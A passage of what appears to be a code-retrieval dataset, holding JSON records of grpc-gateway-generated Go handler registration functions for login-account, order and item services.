{\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_LoginAccountService_LoginAccountCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_LoginAccountService_LoginAccountRead_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_LoginAccountService_LoginAccountRead_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_LoginAccountService_LoginAccountRead_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_LoginAccountService_LoginAccountUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_LoginAccountService_LoginAccountUpdate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_LoginAccountService_LoginAccountUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_LoginAccountService_LoginAccountDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_LoginAccountService_LoginAccountDelete_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_LoginAccountService_LoginAccountDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_LoginAccountService_LoginAccountPatch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_LoginAccountService_LoginAccountPatch_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_LoginAccountService_LoginAccountPatch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "1ed3b70e4cd1be1dfb1cb59be88f4adb", "score": "0.6041264", "text": "func RegisterOrderServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server OrderServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_OrderService_CreateOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_OrderService_CreateOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_OrderService_CreateOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_OrderService_GetOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_OrderService_GetOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_OrderService_GetOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_OrderService_ListOrders_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_OrderService_ListOrders_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_OrderService_ListOrders_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_OrderService_UpdateOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_OrderService_UpdateOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_OrderService_UpdateOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "52fad306e3d20744de56e5a8ff1c6432", "score": "0.6038785", "text": "func RegisterMruVItemServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server MruVItemServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_MruVItemService_CreateItem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/CreateItem\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_CreateItem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_CreateItem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetItem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetItem\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetItem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetItem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_MruVItemService_DeleteItem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/DeleteItem\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_DeleteItem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_DeleteItem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetItems_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetItems\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetItems_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetItems_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MruVItemService_CreateItemType_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/CreateItemType\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_CreateItemType_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_CreateItemType_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetItemType_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetItemType\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetItemType_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetItemType_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_MruVItemService_DeleteItemType_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/DeleteItemType\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_DeleteItemType_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_DeleteItemType_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetItemTypes_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetItemTypes\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetItemTypes_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetItemTypes_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MruVItemService_CreateContainer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/CreateContainer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_CreateContainer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_CreateContainer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetContainer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetContainer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetContainer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetContainer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_MruVItemService_DeleteContainer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/DeleteContainer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_DeleteContainer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_DeleteContainer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetContainers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetContainers\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetContainers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetContainers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MruVItemService_CreateContainerType_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/CreateContainerType\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_CreateContainerType_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_CreateContainerType_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetContainerType_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetContainerType\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetContainerType_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetContainerType_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_MruVItemService_DeleteContainerType_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/DeleteContainerType\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_DeleteContainerType_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_DeleteContainerType_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetContainerTypes_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetContainerTypes\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetContainerTypes_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVItemService_GetContainerTypes_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVItemService_GetContainerItems_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.items.MruVItemService/GetContainerItems\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVItemService_GetContainerItems_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, 